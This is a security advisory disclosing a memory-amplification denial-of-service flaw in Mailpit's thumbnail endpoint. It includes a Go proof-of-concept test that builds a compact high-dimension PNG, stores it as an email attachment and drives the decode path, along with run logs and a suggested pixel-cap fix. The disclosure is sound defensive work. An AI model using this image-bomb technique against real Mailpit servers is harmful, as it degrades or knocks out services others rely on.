GHSA-75mr-qw9x-3r39

## Summary

Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.

## Technical Details

The route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`:

```go a, err := storage.GetAttachmentPart(id, partID) // ... if !strings.HasPrefix(a.ContentType, "image/") { blankImage(a, w) return }

buf := bytes.NewBuffer(a.Content) img, err := imaging.Decode(buf, imaging.AutoOrientation(true)) ```

`storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded.

The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.

The UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `<img src>` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.

## PoV

The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`.

The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.

```go package apiv1

import ( "bytes" "compress/zlib" "encoding/base64" "encoding/binary" "fmt" "hash/crc32" "net/http" "net/http/httptest" "path/filepath" "strings" "testing"

"github.com/axllent/mailpit/config" "github.com/axllent/mailpit/internal/logger" "github.com/axllent/mailpit/internal/storage" "github.com/kovidgoyal/imaging" )

func pngChunk(kind string, data []byte) []byte { var out bytes.Buffer _ = binary.Write(&out, binary.BigEndian, uint32(len(data))) out.WriteString(kind) out.Write(data) crc := crc32.NewIEEE() crc.Write([]byte(kind)) crc.Write(data) _ = binary.Write(&out, binary.BigEndian, crc.Sum32()) return out.Bytes() }

func solidRGBApng(width, height int) []byte { var out bytes.Buffer out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'}) ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(width)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(height)) ihdr[8] = 8 ihdr[9] = 6 out.Write(pngChunk("IHDR", ihdr)) var compressed bytes.Buffer zw := zlib.NewWriter(&compressed) row := make([]byte, 1+width*4) for i := 0; i < height; i++ { _, _ = zw.Write(row) } _ = zw.Close() out.Write(pngChunk("IDAT", compressed.Bytes())) out.Write(pngChunk("IEND", nil)) return out.Bytes() }

func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) { for _, tc := range []struct { name string width int height int }{ {name: "negative-control", width: 16, height: 16}, {name: "oversized-attachment", width: 4096, height: 4096}, } { t.Run(tc.name, func(t *testing.T) { payload := solidRGBApng(tc.width, tc.height) img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true)) if err != nil { t.Fatalf("decode failed: %v", err) } thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos) if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight { t.Fatalf("unexpected thumbnail bounds: %v", thumb.Bounds()) } decodedRGBA := tc.width * tc.height * 4 t.Logf("%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload))) }) } }

func TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) { logger.NoLogging = true config.Database = filepath.Join(t.TempDir(), "mailpit.db") config.Compression = 0 config.TenantID = "" config.MaxMessages = 0 if err := storage.InitDB(); err != nil { t.Fatalf("InitDB failed: %v", err) } defer storage.Close()

for _, tc := range []struct { name string width int height int }{ {name: "negative-control", width: 16, height: 16}, {name: "oversized-attachment", width: 4096, height: 4096}, } { t.Run(tc.name, func(t *testing.T) { payload := solidRGBApng(tc.width, tc.height) raw := []byte(fmt.Sprintf("From: sender@example.test\r\nTo: victim@example.test\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"pov-boundary\"\r\n\r\n--pov-boundary\r\nContent-Type: text/plain\r\n\r\nbody\r\n--pov-boundary\r\nContent-Type: image/png; name=\"pov.png\"\r\nContent-Disposition: attachment; filename=\"pov.png\"\r\nContent-Transfer-Encoding: base64\r\n\r\n%s\r\n--pov-boundary--\r\n", tc.name, wrapBase64(payload))) id, err := storage.Store(&raw, nil) if err != nil { t.Fatalf("Store failed: %v", err) } msg, err := storage.GetMessage(id) if err != nil { t.Fatalf("GetMessage failed: %v", err) } if len(msg.Attachments) != 1 { t.Fatalf("attachments=%d, want 1", len(msg.Attachments)) } req := httptest.NewRequest(http.MethodGet, "/api/v1/message/"+id+"/part/"+msg.Attachments[0].PartID+"/thumb", nil) req.SetPathValue("id", id) req.SetPathValue("partID", msg.Attachments[0].PartID) rr := httptest.NewRecorder() Thumbnail(rr, req) if rr.Code != http.StatusOK { t.Fatalf("Thumbnail status=%d body=%q", rr.Code, rr.Body.String()) } if ct := rr.Header().Get("Content-Type"); ct != "image/jpeg" { t.Fatalf("Content-Type=%q, want image/jpeg", ct) } decodedRGBA := tc.width * tc.height * 4 t.Logf("%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len()) }) } }

func wrapBase64(b []byte) string { encoded := base64.StdEncoding.EncodeToString(b) var lines []string for len(encoded) > 76 { lines = append(lines, encoded[:76]) encoded = encoded[76:] } if encoded != "" { lines = append(lines, encoded) } return strings.Join(lines, "\r\n") } ```

## PoC

From a Mailpit checkout, save the test above as `server/apiv1/thumbnail_dimension_pov_test.go` and run:

```fish docker run --rm -v "$PWD:/src" -w /src golang:1.25 go test ./server/apiv1 -run 'TestThumbnail.*DimensionAmplificationPoV' -v ```

On current `develop` commit `cd7661fd5b23cce1e218b583b21e157cfa612051`, the relevant output is:

```text === RUN TestThumbnailDecodeDimensionAmplificationPoV === RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x === RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x --- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s) === RUN TestThumbnailHandlerDimensionAmplificationPoV === RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977 === RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977 --- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s) PASS ok github.com/axllent/mailpit/server/apiv1 0.781s ```

The same test against `v1.30.3` commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13` prints the same amplification:

```text === RUN TestThumbnailDecodeDimensionAmplificationPoV === RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x === RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x --- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s) === RUN TestThumbnailHandlerDimensionAmplificationPoV === RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977 === RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977 --- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s) PASS ok github.com/axllent/mailpit/server/apiv1 0.805s ```

The `negative-control` case shows ordinary thumbnail generation still works. The `oversized-attachment` handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.

## Impact

An unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.

The safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.

## Suggested Fix

Reject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling `imaging.Decode()` or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.

Apply the cap to all supported image formats and to both inline and regular attachments returned by `GetAttachmentPart()`. Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed `image/*` attachment.

## Affected Package/Versions

Confirmed affected:

- Current `develop`: `cd7661fd5b23cce1e218b583b21e157cfa612051` - Latest release: `v1.30.3`, tag commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, published 2026-06-27

## Advisory History

The closest published Mailpit advisories are the resource-consumption reports `GHSA-fpxj-m5q8-fphw` and `GHSA-28pq-6qxg-wg5r`. `GHSA-fpxj-m5q8-fphw` covers unlimited SMTP DATA and `/api/v1/send` body sizes, while `GHSA-28pq-6qxg-wg5r` covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.

Other published Mailpit advisories checked were `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-524m-q5m7-79mm` for CSWSH, and the SSRF/proxy/link-check/html-check family `GHSA-8v65-47jx-7mfr`, `GHSA-mpf7-p9x7-96r3`, `GHSA-6jxm-fv7w-rw5j`, `GHSA-j3fj-qppj-fmmc`, and `GHSA-w4mc-hhc6-xp28`. None describe decoded thumbnail image dimensions or pixel-budget enforcement.

Public issue searches in `axllent/mailpit` for thumbnail/image memory, `imaging Decode thumbnail`, and image attachment thumbnail DoS terms found no matching issue. A commit search found `b9f36312d750bdc59497a08fd9f4039925afd54e`, "Fix: Avoid error on image type assertion in thumbnail generation"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.